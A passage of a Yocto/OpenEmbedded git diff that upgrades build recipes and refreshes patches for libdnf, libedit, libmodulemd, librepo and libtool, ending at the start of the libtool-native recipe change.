+Subject: [PATCH] libdnf/dnf-context.cpp: do not try to access BDB database
+
+Upstream-Status: Inappropriate [upstream needs to rework this to support
+sqlite]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ libdnf/dnf-context.cpp | 14 --------------
+ 1 file changed, 14 deletions(-)
+
+diff --git a/libdnf/dnf-context.cpp b/libdnf/dnf-context.cpp
+index 86f71a79..9cdcf769 100644
+--- a/libdnf/dnf-context.cpp
++++ b/libdnf/dnf-context.cpp
+@@ -2264,20 +2264,6 @@ dnf_context_setup(DnfContext *context,
+ !dnf_context_set_os_release(context, error))
+ return FALSE;
+
+- /* setup a file monitor on the rpmdb, if we're operating on the native / */
+- if (g_strcmp0(priv->install_root, "/") == 0) {
+- rpmdb_path = g_build_filename(priv->install_root, "var/lib/rpm/Packages", NULL);
+- file_rpmdb = g_file_new_for_path(rpmdb_path);
+- priv->monitor_rpmdb = g_file_monitor_file(file_rpmdb,
+- G_FILE_MONITOR_NONE,
+- NULL,
+- error);
+- if (priv->monitor_rpmdb == NULL)
+- return FALSE;
+- g_signal_connect(priv->monitor_rpmdb, "changed",
+- G_CALLBACK(dnf_context_rpmdb_changed_cb), context);
+- }
+-
+ /* copy any vendor distributed cached metadata */
+ if (!dnf_context_copy_vendor_cache(context, error))
+ return FALSE;
diff --git a/meta/recipes-devtools/libdnf/libdnf/0004-Set-libsolv-variables-with-pkg-config-cmake-s-own-mo.patch b/meta/recipes-devtools/libdnf/libdnf/0004-Set-libsolv-variables-with-pkg-config-cmake-s-own-mo.patch
index 475c8f120b..9adb345b68 100644
--- a/meta/recipes-devtools/libdnf/libdnf/0004-Set-libsolv-variables-with-pkg-config-cmake-s-own-mo.patch
+++ b/meta/recipes-devtools/libdnf/libdnf/0004-Set-libsolv-variables-with-pkg-config-cmake-s-own-mo.patch
@@ -7,22 +7,24 @@ Subject: [PATCH] Set libsolv variables with pkg-config (cmake's own module
Upstream-Status: Submitted [https://github.com/rpm-software-management/libdnf/pull/312]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
---
CMakeLists.txt | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/CMakeLists.txt b/CMakeLists.txt
-index 16b63308..b722d4fb 100644
+index fd6e3f0..5383744 100644
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
-@@ -45,7 +45,8 @@ endif()
+@@ -52,7 +52,8 @@ endif()
# build dependencies
find_package(Gpgme REQUIRED)
-find_package(LibSolv 0.6.30 REQUIRED COMPONENTS ext)
+PKG_CHECK_MODULES (LIBSOLV REQUIRED libsolv)
+set(LIBSOLV_LIBRARY ${LIBSOLV_LIBRARIES})
- find_package(OpenSSL REQUIRED)
+ # build dependencies via pkg-config
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/libdnf/libdnf/enable_test_data_dir_set.patch b/meta/recipes-devtools/libdnf/libdnf/enable_test_data_dir_set.patch
new file mode 100644
index 0000000000..e3784cc9e4
--- /dev/null
+++ b/meta/recipes-devtools/libdnf/libdnf/enable_test_data_dir_set.patch
@@ -0,0 +1,26 @@
+libdnf: allow reproducible binary builds
+
+Use a dummy directory for test data if not built WITH_TESTS. Allow for overriding
+TESTDATADIR, since the default is guaranteed to be wrong for target builds.
+
+Upstream-Status: Pending
+
+Signed-off-by: Joe Slater <joe.slater@windriver.com>
+
+
+--- a/CMakeLists.txt
++++ b/CMakeLists.txt
+@@ -133,7 +133,12 @@ add_definitions(-DG_LOG_DOMAIN=\\"libdnf
+ add_definitions(-D_FILE_OFFSET_BITS=64)
+
+ # tests
+-add_definitions(-DTESTDATADIR=\\"${CMAKE_SOURCE_DIR}/data/tests\\")
++if(NOT WITH_TESTS)
++ set(TEST_DATA_DIR "/notests")
++elseif(NOT DEFINED TEST_DATA_DIR)
++ set(TEST_DATA_DIR "${CMAKE_SOURCE_DIR}/data/tests")
++endif()
++add_definitions(-DTESTDATADIR=\\"${TEST_DATA_DIR}\\")
+
+ # librhsm
+ if(ENABLE_RHSM_SUPPORT)
diff --git a/meta/recipes-devtools/libdnf/libdnf_0.28.1.bb b/meta/recipes-devtools/libdnf/libdnf_0.28.1.bb
deleted file mode 100644
index 3f11e0231f..0000000000
--- a/meta/recipes-devtools/libdnf/libdnf_0.28.1.bb
+++ /dev/null
@@ -1,28 +0,0 @@
-SUMMARY = "Library providing simplified C and Python API to libsolv"
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
-
-SRC_URI = "git://github.com/rpm-software-management/libdnf \
- file://0001-FindGtkDoc.cmake-drop-the-requirement-for-GTKDOC_SCA.patch \
- file://0004-Set-libsolv-variables-with-pkg-config-cmake-s-own-mo.patch \
- file://0001-Get-parameters-for-both-libsolv-and-libsolvext-libdn.patch \
- file://0001-Add-WITH_TESTS-option.patch \
- "
-
-SRCREV = "751f89045b80d58c0d05800f74357cf78cdf7e77"
-
-S = "${WORKDIR}/git"
-
-DEPENDS = "glib-2.0 libsolv libcheck librepo rpm gtk-doc libmodulemd-v1 json-c swig-native"
-
-inherit gtk-doc gobject-introspection cmake pkgconfig distutils3-base
-
-EXTRA_OECMAKE = " -DPYTHON_INSTALL_DIR=${PYTHON_SITEPACKAGES_DIR} -DWITH_MAN=OFF -DPYTHON_DESIRED=3 \
- ${@bb.utils.contains('GI_DATA_ENABLED', 'True', '-DWITH_GIR=ON', '-DWITH_GIR=OFF', d)} \
- -DWITH_TESTS=OFF \
- "
-EXTRA_OECMAKE_append_class-native = " -DWITH_GIR=OFF"
-EXTRA_OECMAKE_append_class-nativesdk = " -DWITH_GIR=OFF"
-
-BBCLASSEXTEND = "native nativesdk"
-
diff --git a/meta/recipes-devtools/libdnf/libdnf_0.66.0.bb b/meta/recipes-devtools/libdnf/libdnf_0.66.0.bb
new file mode 100644
index 0000000000..1bfe901c8a
--- /dev/null
+++ b/meta/recipes-devtools/libdnf/libdnf_0.66.0.bb
@@ -0,0 +1,36 @@
+SUMMARY = "Library providing simplified C and Python API to libsolv"
+HOMEPAGE = "https://github.com/rpm-software-management/libdnf"
+DESCRIPTION = "This library provides a high level package-manager. It's core library of dnf, PackageKit and rpm-ostree. It's replacement for deprecated hawkey library which it contains inside and uses librepo under the hood."
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
+
+SRC_URI = "git://github.com/rpm-software-management/libdnf;branch=dnf-4-master;protocol=https \
+ file://0001-FindGtkDoc.cmake-drop-the-requirement-for-GTKDOC_SCA.patch \
+ file://0004-Set-libsolv-variables-with-pkg-config-cmake-s-own-mo.patch \
+ file://0001-Get-parameters-for-both-libsolv-and-libsolvext-libdn.patch \
+ file://enable_test_data_dir_set.patch \
+ file://0001-drop-FindPythonInstDir.cmake.patch \
+ file://0001-libdnf-dnf-context.cpp-do-not-try-to-access-BDB-data.patch \
+ "
+
+SRCREV = "add5d5418b140a86d08667dd2b14793093984875"
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(?!4\.90)\d+(\.\d+)+)"
+
+S = "${WORKDIR}/git"
+
+DEPENDS = "glib-2.0 libsolv libcheck librepo rpm gtk-doc libmodulemd json-c swig-native"
+
+inherit gtk-doc gobject-introspection cmake pkgconfig setuptools3-base
+
+EXTRA_OECMAKE = " -DPYTHON_INSTALL_DIR=${PYTHON_SITEPACKAGES_DIR} -DWITH_MAN=OFF -DPYTHON_DESIRED=3 \
+ ${@bb.utils.contains('GI_DATA_ENABLED', 'True', '-DWITH_GIR=ON', '-DWITH_GIR=OFF', d)} \
+ -DWITH_TESTS=OFF \
+ -DWITH_ZCHUNK=OFF \
+ -DWITH_HTML=OFF \
+ "
+EXTRA_OECMAKE:append:class-native = " -DWITH_GIR=OFF"
+EXTRA_OECMAKE:append:class-nativesdk = " -DWITH_GIR=OFF"
+
+BBCLASSEXTEND = "native nativesdk"
+SKIP_RECIPE[libdnf] ?= "${@bb.utils.contains('PACKAGE_CLASSES', 'package_rpm', '', 'Does not build without package_rpm in PACKAGE_CLASSES due disabled rpm support in libsolv', d)}"
+
diff --git a/meta/recipes-devtools/libedit/libedit/0001-readline.c-fix-cannot-get-history.patch b/meta/recipes-devtools/libedit/libedit/0001-readline.c-fix-cannot-get-history.patch
deleted file mode 100644
index 7e54ac97ea..0000000000
--- a/meta/recipes-devtools/libedit/libedit/0001-readline.c-fix-cannot-get-history.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From ef1fa9bef497d9491a51017f3cad0135a23bb0b4 Mon Sep 17 00:00:00 2001
-From: Changqing Li <changqing.li@windriver.com>
-Date: Tue, 20 Aug 2019 17:33:15 +0800
-Subject: [PATCH] readline.c: fix cannot get history
-
-if history_offset not increate when add history,
-it will make current history event not align with offset,
-and cannot get history correctly.
-
-Upstream-Status: Submitted [tech-userlevel@NetBSD.org]
-
-Signed-off-by: Changqing Li <changqing.li@windriver.com>
----
- src/readline.c | 3 +++
- 1 file changed, 3 insertions(+)
-
-diff --git a/src/readline.c b/src/readline.c
-index 43ac5bd..54b0548 100644
---- a/src/readline.c
-+++ b/src/readline.c
-@@ -1476,7 +1476,10 @@ add_history(const char *line)
- if (ev.num == history_length)
- history_base++;
- else
-+ {
-+ history_offset++;
- history_length = ev.num;
-+ }
- return 0;
- }
-
---
-2.7.4
-
diff --git a/meta/recipes-devtools/libedit/libedit_20190324-3.1.bb b/meta/recipes-devtools/libedit/libedit_20190324-3.1.bb
deleted file mode 100644
index 25667ccce7..0000000000
--- a/meta/recipes-devtools/libedit/libedit_20190324-3.1.bb
+++ /dev/null
@@ -1,20 +0,0 @@
-SUMMARY = "BSD replacement for libreadline"
-DESCRIPTION = "Command line editor library providing generic line editing, \
-history, and tokenization functions"
-HOMEPAGE = "http://www.thrysoee.dk/editline/"
-SECTION = "libs"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=1e4228d0c5a9093b01aeaaeae6641533"
-
-DEPENDS = "ncurses"
-
-inherit autotools
-
-SRC_URI = "http://www.thrysoee.dk/editline/${BP}.tar.gz \
- file://stdc-predef.patch \
- file://0001-readline.c-fix-cannot-get-history.patch \
- "
-SRC_URI[md5sum] = "bec755c8044ad84b752dfe49a0b371d8"
-SRC_URI[sha256sum] = "ac8f0f51c1cf65492e4d1e3ed2be360bda41e54633444666422fbf393bba1bae"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/libedit/libedit_20210910-3.1.bb b/meta/recipes-devtools/libedit/libedit_20210910-3.1.bb
new file mode 100644
index 0000000000..5aa83ef246
--- /dev/null
+++ b/meta/recipes-devtools/libedit/libedit_20210910-3.1.bb
@@ -0,0 +1,24 @@
+SUMMARY = "BSD replacement for libreadline"
+DESCRIPTION = "Command line editor library providing generic line editing, \
+history, and tokenization functions"
+HOMEPAGE = "http://www.thrysoee.dk/editline/"
+SECTION = "libs"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1e4228d0c5a9093b01aeaaeae6641533"
+
+DEPENDS = "ncurses"
+
+inherit autotools
+
+SRC_URI = "http://www.thrysoee.dk/editline/${BP}.tar.gz \
+ file://stdc-predef.patch \
+ "
+SRC_URI[sha256sum] = "6792a6a992050762edcca28ff3318cdb7de37dccf7bc30db59fcd7017eed13c5"
+
+BBCLASSEXTEND = "native nativesdk"
+
+inherit update-alternatives
+
+ALTERNATIVE_PRIORITY = "90"
+ALTERNATIVE:${PN}-doc = "history.3"
+ALTERNATIVE_LINK_NAME[history.3] = "${mandir}/man3/history.3"
diff --git a/meta/recipes-devtools/libmodulemd/libmodulemd-v1/0001-spec_tmpl.sh-use-bin-sh-not-usr-bin-sh.patch b/meta/recipes-devtools/libmodulemd/libmodulemd-v1/0001-spec_tmpl.sh-use-bin-sh-not-usr-bin-sh.patch
deleted file mode 100644
index 847b5f700b..0000000000
--- a/meta/recipes-devtools/libmodulemd/libmodulemd-v1/0001-spec_tmpl.sh-use-bin-sh-not-usr-bin-sh.patch
+++ /dev/null
@@ -1,22 +0,0 @@
-From 4e67f6049b3f822fe6f5af46790a51ace581bf82 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Tue, 6 Nov 2018 13:41:29 +0100
-Subject: [PATCH] spec_tmpl.sh: use /bin/sh, not /usr/bin/sh
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- spec_tmpl.sh | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/spec_tmpl.sh b/spec_tmpl.sh
-index 0238087..126853c 100755
---- a/spec_tmpl.sh
-+++ b/spec_tmpl.sh
-@@ -1,4 +1,4 @@
--#!/usr/bin/sh
-+#!/bin/sh
-
- version=$1
- template=$2
diff --git a/meta/recipes-devtools/libmodulemd/libmodulemd-v1_git.bb b/meta/recipes-devtools/libmodulemd/libmodulemd-v1_git.bb
deleted file mode 100644
index 5409051d79..0000000000
--- a/meta/recipes-devtools/libmodulemd/libmodulemd-v1_git.bb
+++ /dev/null
@@ -1,25 +0,0 @@
-SUMMARY = "C Library for manipulating module metadata files"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=25a3927bff3ee4f5b21bcb0ed3fcd6bb"
-
-SRC_URI = "git://github.com/fedora-modularity/libmodulemd;protocol=https;branch=1.x-maint \
- file://0001-spec_tmpl.sh-use-bin-sh-not-usr-bin-sh.patch \
- "
-
-PV = "1.8.16"
-SRCREV = "d0dcf7b373b3cf85cd39eb3bc23d31e06195a75a"
-UPSTREAM_CHECK_GITTAGREGEX = "libmodulemd-(?P<pver>1.*\d)"
-
-S = "${WORKDIR}/git"
-
-inherit meson gobject-introspection
-
-EXTRA_OEMESON = "-Ddeveloper_build=false -Dwith_docs=false"
-
-DEPENDS += "glib-2.0 libyaml glib-2.0-native python3"
-
-BBCLASSEXTEND = "native nativesdk"
-
-GIR_MESON_OPTION = 'skip_introspection'
-GIR_MESON_ENABLE_FLAG = 'false'
-GIR_MESON_DISABLE_FLAG = 'true'
diff --git a/meta/recipes-devtools/libmodulemd/libmodulemd_git.bb b/meta/recipes-devtools/libmodulemd/libmodulemd_git.bb
new file mode 100644
index 0000000000..9e32134628
--- /dev/null
+++ b/meta/recipes-devtools/libmodulemd/libmodulemd_git.bb
@@ -0,0 +1,24 @@
+SUMMARY = "C Library for manipulating module metadata files"
+HOMEPAGE = "https://github.com/fedora-modularity/libmodulemd"
+DESCRIPTION = "${SUMMARY}"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=25a3927bff3ee4f5b21bcb0ed3fcd6bb"
+
+SRC_URI = "git://github.com/fedora-modularity/libmodulemd;protocol=https;branch=main"
+
+PV = "2.14.0"
+SRCREV = "ee80309bc766d781a144e6879419b29f444d94eb"
+
+S = "${WORKDIR}/git"
+
+inherit meson gobject-introspection pkgconfig
+
+EXTRA_OEMESON = "-Dwith_py3=false -Dwith_docs=false -Drpmio=disabled -Dlibmagic=disabled -Dwith_manpages=disabled -Dgobject_overrides_dir_py3=${PYTHON_SITEPACKAGES_DIR}/gi/overrides"
+
+DEPENDS += "glib-2.0 libyaml glib-2.0-native"
+
+BBCLASSEXTEND = "native nativesdk"
+
+GIR_MESON_OPTION = 'skip_introspection'
+GIR_MESON_ENABLE_FLAG = 'false'
+GIR_MESON_DISABLE_FLAG = 'true'
diff --git a/meta/recipes-devtools/librepo/librepo/0002-Do-not-try-to-obtain-PYTHON_INSTALL_DIR-by-running-p.patch b/meta/recipes-devtools/librepo/librepo/0002-Do-not-try-to-obtain-PYTHON_INSTALL_DIR-by-running-p.patch
index b61f0c9324..2ea50f00ff 100644
--- a/meta/recipes-devtools/librepo/librepo/0002-Do-not-try-to-obtain-PYTHON_INSTALL_DIR-by-running-p.patch
+++ b/meta/recipes-devtools/librepo/librepo/0002-Do-not-try-to-obtain-PYTHON_INSTALL_DIR-by-running-p.patch
@@ -1,53 +1,38 @@
-From b08a3b71e716dd0485ef51036d32e4c304fb4e67 Mon Sep 17 00:00:00 2001
+From 82bd6d196a0453657cbacaaedd75b2d2fe0bf9ba Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Fri, 30 Dec 2016 18:05:36 +0200
Subject: [PATCH] Do not try to obtain PYTHON_INSTALL_DIR by running python.
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
+Signed-off-by: Wang Mingyu <wangmy@fujitsu.com>
---
- librepo/python/python2/CMakeLists.txt | 12 ++++++------
- librepo/python/python3/CMakeLists.txt | 12 ++++++------
- 2 files changed, 12 insertions(+), 12 deletions(-)
+ librepo/python/CMakeLists.txt | 12 ++++++------
+ 1 file changed, 6 insertions(+), 6 deletions(-)
-diff --git a/librepo/python/python2/CMakeLists.txt b/librepo/python/python2/CMakeLists.txt
-index a0f1f9a..1665079 100644
---- a/librepo/python/python2/CMakeLists.txt
-+++ b/librepo/python/python2/CMakeLists.txt
-@@ -1,9 +1,9 @@
--EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "
--from sys import stdout
--from distutils import sysconfig
--path=sysconfig.get_python_lib(True, prefix='${CMAKE_INSTALL_PREFIX}')
--stdout.write(path)"
--OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
-+#EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "
-+#from sys import stdout
-+#from distutils import sysconfig
-+#path=sysconfig.get_python_lib(True, prefix='${CMAKE_INSTALL_PREFIX}')
-+#stdout.write(path)"
-+#OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
- INCLUDE_DIRECTORIES (${PYTHON_INCLUDE_PATH})
+diff --git a/librepo/python/CMakeLists.txt b/librepo/python/CMakeLists.txt
+index 8523ca7..06e5f7b 100644
+--- a/librepo/python/CMakeLists.txt
++++ b/librepo/python/CMakeLists.txt
+@@ -16,12 +16,12 @@ SET (librepomodule_SRCS
+
+ MESSAGE("Building python bindings")
- MESSAGE(STATUS "Python install dir is ${PYTHON_INSTALL_DIR}")
-diff --git a/librepo/python/python3/CMakeLists.txt b/librepo/python/python3/CMakeLists.txt
-index 52ba44e..da51e10 100644
---- a/librepo/python/python3/CMakeLists.txt
-+++ b/librepo/python/python3/CMakeLists.txt
-@@ -1,9 +1,9 @@
-EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "
-from sys import stdout
--from distutils import sysconfig
--path=sysconfig.get_python_lib(True, prefix='${CMAKE_INSTALL_PREFIX}')
+-from sysconfig import get_path
+-path=get_path(name='platlib', vars={'platbase':'${CMAKE_INSTALL_PREFIX}'})
-stdout.write(path)"
-OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
+#EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "
+#from sys import stdout
-+#from distutils import sysconfig
-+#path=sysconfig.get_python_lib(True, prefix='${CMAKE_INSTALL_PREFIX}')
++#from sysconfig import get_path
++#path=get_path(name='platlib', vars={'platbase':'${CMAKE_INSTALL_PREFIX}'})
+#stdout.write(path)"
+#OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
INCLUDE_DIRECTORIES (${PYTHON_INCLUDE_PATH})
MESSAGE(STATUS "Python3 install dir is ${PYTHON_INSTALL_DIR}")
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/librepo/librepo/0004-Set-gpgme-variables-with-pkg-config-not-with-cmake-m.patch b/meta/recipes-devtools/librepo/librepo/0004-Set-gpgme-variables-with-pkg-config-not-with-cmake-m.patch
index 73902e5f58..d61d8fbf85 100644
--- a/meta/recipes-devtools/librepo/librepo/0004-Set-gpgme-variables-with-pkg-config-not-with-cmake-m.patch
+++ b/meta/recipes-devtools/librepo/librepo/0004-Set-gpgme-variables-with-pkg-config-not-with-cmake-m.patch
@@ -1,4 +1,4 @@
-From f5a1dfe4c87c228165bc25e7fe464120d8139a3d Mon Sep 17 00:00:00 2001
+From 25113b34bc1aae377d7bf447e69528783e2c177e Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Fri, 30 Dec 2016 18:23:27 +0200
Subject: [PATCH] Set gpgme variables with pkg-config, not with cmake module
@@ -12,13 +12,13 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/CMakeLists.txt b/CMakeLists.txt
-index e949dbe..c954b2e 100644
+index a45d5c4..40249e6 100644
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
-@@ -31,7 +31,8 @@ PKG_CHECK_MODULES(GLIB2 glib-2.0 REQUIRED)
+@@ -32,7 +32,8 @@ PKG_CHECK_MODULES(GLIB2 glib-2.0 REQUIRED)
PKG_SEARCH_MODULE(LIBCRYPTO REQUIRED libcrypto openssl)
PKG_CHECK_MODULES(LIBXML2 libxml-2.0 REQUIRED)
- FIND_PACKAGE(CURL REQUIRED)
+ FIND_PACKAGE(CURL 7.52.0 REQUIRED)
-FIND_PACKAGE(Gpgme REQUIRED)
+PKG_CHECK_MODULES(GPGME gpgme REQUIRED)
+set(GPGME_VANILLA_LIBRARIES ${GPGME_LIBRARIES})
diff --git a/meta/recipes-devtools/librepo/librepo_1.10.6.bb b/meta/recipes-devtools/librepo/librepo_1.10.6.bb
deleted file mode 100644
index cf4de22c47..0000000000
--- a/meta/recipes-devtools/librepo/librepo_1.10.6.bb
+++ /dev/null
@@ -1,27 +0,0 @@
-SUMMARY = "A library providing C and Python (libcURL like) API \
- for downloading linux repository metadata and packages."
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
-
-SRC_URI = "git://github.com/rpm-software-management/librepo.git \
- file://0002-Do-not-try-to-obtain-PYTHON_INSTALL_DIR-by-running-p.patch \
- file://0004-Set-gpgme-variables-with-pkg-config-not-with-cmake-m.patch \
- "
-
-SRCREV = "2ec349f1c686c1704dc83da6c118035ff57c8dea"
-
-S = "${WORKDIR}/git"
-
-DEPENDS = "curl glib-2.0 openssl attr gpgme libxml2"
-
-inherit cmake distutils3-base pkgconfig
-
-EXTRA_OECMAKE = " \
- -DPYTHON_INSTALL_DIR=${PYTHON_SITEPACKAGES_DIR} \
- -DPYTHON_DESIRED=3 \
- -DENABLE_TESTS=OFF \
- -DENABLE_DOCS=OFF \
- -DWITH_ZCHUNK=OFF \
-"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/librepo/librepo_1.14.2.bb b/meta/recipes-devtools/librepo/librepo_1.14.2.bb
new file mode 100644
index 0000000000..8dece946b4
--- /dev/null
+++ b/meta/recipes-devtools/librepo/librepo_1.14.2.bb
@@ -0,0 +1,29 @@
+SUMMARY = "A library providing C and Python (libcURL like) API \
+ for downloading linux repository metadata and packages."
+HOMEPAGE = "https://github.com/rpm-software-management/librepo"
+DESCRIPTION = "${SUMMARY}"
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
+
+SRC_URI = "git://github.com/rpm-software-management/librepo.git;branch=master;protocol=https \
+ file://0002-Do-not-try-to-obtain-PYTHON_INSTALL_DIR-by-running-p.patch \
+ file://0004-Set-gpgme-variables-with-pkg-config-not-with-cmake-m.patch \
+ "
+
+SRCREV = "3b9a8d17188ba602d139f79b6e61305030f21109"
+
+S = "${WORKDIR}/git"
+
+DEPENDS = "curl glib-2.0 openssl attr gpgme libxml2"
+
+inherit cmake setuptools3-base pkgconfig
+
+EXTRA_OECMAKE = " \
+ -DPYTHON_INSTALL_DIR=${PYTHON_SITEPACKAGES_DIR} \
+ -DPYTHON_DESIRED=3 \
+ -DENABLE_TESTS=OFF \
+ -DENABLE_DOCS=OFF \
+ -DWITH_ZCHUNK=OFF \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/libtool/libtool-2.4.6.inc b/meta/recipes-devtools/libtool/libtool-2.4.6.inc
index 8e17b56d46..ad6f5e6b6e 100644
--- a/meta/recipes-devtools/libtool/libtool-2.4.6.inc
+++ b/meta/recipes-devtools/libtool/libtool-2.4.6.inc
@@ -4,29 +4,35 @@ Libtool hides the complexity of generating special library types \
(such as shared libraries) behind a consistent interface."
HOMEPAGE = "http://www.gnu.org/software/libtool/libtool.html"
SECTION = "devel"
-LICENSE = "GPLv2 & LGPLv2.1"
+LICENSE = "GPL-2.0-only & LGPL-2.1-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
file://libltdl/COPYING.LIB;md5=4fbd65380cdd255951079008b364516c "
SRC_URI = "${GNU_MIRROR}/libtool/libtool-${PV}.tar.gz \
- file://trailingslash.patch \
- file://rename-with-sysroot.patch \
- file://use-sysroot-in-libpath.patch \
- file://fix-final-rpath.patch \
- file://fix-rpath.patch \
- file://norm-rpath.patch \
+ file://0001-ltmain.in-Handle-trailing-slashes-on-install-command.patch \
+ file://0002-libtool.m4-Rename-the-with-sysroot-option-to-avoid-c.patch \
+ file://0003-ltmain.in-Add-missing-sysroot-to-library-path.patch \
+ file://0004-ltmain.sh-Fix-sysroot-paths-being-encoded-into-RPATH.patch \
+ file://0005-ltmain.in-Don-t-encode-RATHS-which-match-default-lin.patch \
file://dont-depend-on-help2man.patch \
- file://fix-resolve-lt-sysroot.patch \
+ file://0006-libtool.m4-Handle-as-a-sysroot-correctly.patch \
file://nohardcodepaths.patch \
file://unwind-opt-parsing.patch \
- file://0001-libtool-Fix-support-for-NIOS2-processor.patch \
- file://0001-libtool-Check-for-static-libs-for-internal-compiler-.patch \
+ file://0007-libtool-Fix-support-for-NIOS2-processor.patch \
+ file://0008-libtool-Check-for-static-libs-for-internal-compiler-.patch \
+ file://0009-Makefile.am-make-sure-autoheader-run-before-autoconf.patch \
+ file://0010-Makefile.am-make-sure-autoheader-run-before-automake.patch \
+ file://0011-ltmain.in-Handle-prefix-map-compiler-options-correct.patch \
+ file://0012-libtool.m4-For-reproducibility-stop-encoding-hostnam.patch \
+ file://libool.m4-add-ARFLAGS-variable.patch \
+ file://ARFLAGS-use-cr-instead-of-cru-by-default.patch \
+ file://0001-ltmain.in-Parse-additional-clang-options.patch \
"
SRC_URI[md5sum] = "addf44b646ddb4e3919805aa88fa7c5e"
SRC_URI[sha256sum] = "e3bd4d5d3d025a36c21dd6af7ea818a2afcd4dfc1ea5a17b39d7854bcd0c06e3"
-do_compile_prepend () {
+do_compile:prepend () {
# Sometimes this file doesn't get rebuilt, force the issue
rm -f ${S}/build-aux/ltmain.sh
make build-aux/ltmain.sh
@@ -41,9 +47,9 @@ CACHED_CONFIGUREVARS += "ac_cv_path_GREP=grep"
DEPENDS = "libtool-native"
PACKAGES =+ "libltdl"
-FILES_${PN} += "${datadir}/aclocal"
+FILES:${PN} += "${datadir}/aclocal"
-FILES_${PN}-dev_remove = "${datadir}/aclocal"
-FILES_libltdl = "${libdir}/libltdl${SOLIBS}"
+FILES:${PN}-dev:remove = "${datadir}/aclocal"
+FILES:libltdl = "${libdir}/libltdl${SOLIBS}"
export CONFIG_SHELL="/bin/bash"
diff --git a/meta/recipes-devtools/libtool/libtool-cross_2.4.6.bb b/meta/recipes-devtools/libtool/libtool-cross_2.4.6.bb
index 522bf3a0e9..93f1dd7825 100644
--- a/meta/recipes-devtools/libtool/libtool-cross_2.4.6.bb
+++ b/meta/recipes-devtools/libtool/libtool-cross_2.4.6.bb
@@ -1,12 +1,13 @@
require libtool-${PV}.inc
PACKAGES = ""
-SRC_URI += "file://prefix.patch"
SRC_URI += "file://fixinstall.patch"
datadir = "${STAGING_DIR_TARGET}${target_datadir}"
-do_configure_prepend () {
+inherit nopackages
+
+do_configure:prepend () {
# Remove any existing libtool m4 since old stale versions would break
# any upgrade
rm -f ${STAGING_DATADIR}/aclocal/libtool.m4
@@ -20,15 +21,16 @@ do_configure_prepend () {
# Find references to LTCC="ccache xxx-gcc" and CC="ccache xxx-gcc"
#
do_install () {
+ ln -s false ${D}
install -d ${D}${bindir_crossscripts}/
- install -m 0755 ${HOST_SYS}-libtool ${D}${bindir_crossscripts}/${HOST_SYS}-libtool
+ install -m 0755 libtool ${D}${bindir_crossscripts}/libtool
sed -e 's@^\(predep_objects="\).*@\1"@' \
-e 's@^\(postdep_objects="\).*@\1"@' \
-e 's@^CC="ccache.@CC="@' \
-e 's@^LTCC="ccache.@LTCC="@' \
- -i ${D}${bindir_crossscripts}/${HOST_SYS}-libtool
- sed -i '/^archive_cmds=/s/\-nostdlib//g' ${D}${bindir_crossscripts}/${HOST_SYS}-libtool
- sed -i '/^archive_expsym_cmds=/s/\-nostdlib//g' ${D}${bindir_crossscripts}/${HOST_SYS}-libtool
+ -i ${D}${bindir_crossscripts}/libtool
+ sed -i '/^archive_cmds=/s/\-nostdlib//g' ${D}${bindir_crossscripts}/libtool
+ sed -i '/^archive_expsym_cmds=/s/\-nostdlib//g' ${D}${bindir_crossscripts}/libtool
GREP='/bin/grep' SED='sed' ${S}/build-aux/inline-source libtoolize > ${D}${bindir_crossscripts}/libtoolize
chmod 0755 ${D}${bindir_crossscripts}/libtoolize
install -d ${D}${target_datadir}/libtool/build-aux/
diff --git a/meta/recipes-devtools/libtool/libtool-native_2.4.6.bb b/meta/recipes-devtools/libtool/libtool-native_2.4.6.bb
index 4c5218ade0..19024f7830 100644
--- a/meta/recipes-devtools/libtool/libtool-native_2.4.6.bb
+++ b/meta/recipes-devtools/libtool/libtool-native_2.4.6.bb
